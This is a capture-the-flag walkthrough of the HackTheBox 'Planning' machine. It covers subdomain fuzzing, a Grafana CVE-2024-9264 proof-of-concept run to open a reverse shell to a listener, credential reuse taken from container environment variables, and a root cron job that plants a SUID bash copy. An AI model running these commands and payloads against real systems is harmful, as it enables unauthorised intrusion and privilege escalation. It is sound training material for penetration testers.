HTB: Planning
Difficulty: Easy OS: Linux
Planning is an easy Linux box on HackTheBox, but don’t let “easy” fool you — it chains together subdomain fuzzing, a real-world CVE in Grafana, a Docker escape via password reuse, and a custom cron manager that hands over root. It’s a good one for practicing how small misconfigurations stack up into full compromise.
Recon
Started with the usual Nmap scan:
$ nmap -sC -sV 10.10.11.68PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.1180/tcp open http nginx 1.24.0 (Ubuntu)Just SSH and a web server. Port 80 redirects to planning.htb, so that goes into /etc/hosts:
$ echo "10.10.11.68 planning.htb" | sudo tee -a /etc/hostsThe site itself is just an educational/online-course platform — nothing interesting on the surface. Time to look for what’s hiding behind it.
Subdomain Fuzzing
Threw ffuf at it to hunt for vhosts:
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \ -H 'Host: FUZZ.planning.htb' -u http://planning.htb -cLots of noise — same size/words/lines across the board, which are false positives from a
catch-all response. Filtering those out with -fs:
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \ -H 'Host: FUZZ.planning.htb' -u http://planning.htb -c -fs 178That surfaces grafana as a real subdomain. Added it to /etc/hosts and browsed to
grafana.planning.htb.
Foothold: Grafana → CVE-2024-9264
Landed on a Grafana login page. As is common on HTB (simulating a real engagement where creds
get handed to you), I had a working set: admin:0D5oT70Fq13EvB5r.
Logged in and checked the version via the help icon — v11.0.0. That version is vulnerable to CVE-2024-9264, a command injection / LFI bug in Grafana’s experimental “SQL Expressions” feature. The root cause: Grafana passes unsanitized SQL straight to the DuckDB CLI, and any user with Viewer+ permissions can abuse it for RCE or file read — even though the feature is supposed to be hidden and disabled by default. It’s still reachable through the API regardless of what the GUI shows.
The catch is that DuckDB has to actually be present and on the system PATH for the exploit to
work. No way to confirm that up front — just fire the POC and see.
Set up a listener and ran a public POC script against the target:
$ nc -lvnp 9001$ python3 poc.py --url http://grafana.planning.htb --username admin \ --password 0D5oT70Fq13EvB5r --reverse-ip <YOUR_IP> --reverse-port 9001Shell popped:
# iduid=0(root) gid=0(root) groups=0(root)Root — but hostname gives a container ID, so this is inside Docker, not the host.
Lateral Movement: Docker → Host
Dumped environment variables from inside the container and found hardcoded Grafana admin creds baked in:
GF_SECURITY_ADMIN_USER=enzoGF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!Classic password reuse — tried the same combo over SSH against the host, and it worked:
$ ssh enzo@planning.htbUser flag secured from enzo’s home directory.
Privilege Escalation: Custom Cron Manager
Ran netstat -tulnp to map out what’s listening locally. Alongside the expected DNS, MySQL,
Grafana (3000), and SSH, there’s an unfamiliar service on port 8000. Port-forwarded it over
SSH to check it out:
$ ssh enzo@planning.htb -L 8000:127.0.0.1:8000It wanted auth I didn’t have yet, so back to enumerating. Poked around /opt and found a
crontabs directory readable by the current user, containing crontab.db. Inside it, in plain
text, was another password: P4ssw0rdS0pRi0T3c. This same file also revealed that the service
on 8000 is a custom cron management web app, and — critically — one of the scheduled jobs
(/root/scripts/cleanup.sh) is clearly running as root.
Logged into the port-8000 panel with the new creds and confirmed I could create and run arbitrary cron jobs. Since these execute as root, the path to escalation is obvious: create a job that sets the SUID bit on bash.
save this into a file
#!/bin/bashcp /bin/bash /var/tmp/mybashchmod 4755 /var/tmp/mybash
then run :/var/tmp/mybash -pSaved the job, hit “run now” instead of waiting on the schedule, then checked back on the SSH
session as enzo:
enzo@planning:~$ ls -la /bin/bash-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bashSUID bit set. Dropped into a root shell without losing privileges:
$ bash -pbash-5.2# whoamirootRoot flag grabbed from /root/root.txt.
Takeaways
- Subdomain fuzzing is worth doing on every box that “looks empty” — Grafana was invisible until vhost enumeration surfaced it.
- Known CVEs in dashboarding/monitoring tools (Grafana, Kibana, etc.) are a recurring theme in both CTFs and real engagements — always check the version against recent disclosures.
- Password reuse between a service account and a real host account is still one of the most reliable ways to pivot from a container to the underlying host.
- Custom internal tooling (like the cron manager here) is often less hardened than well-known software, and running privileged scheduled jobs through it is a direct line to root.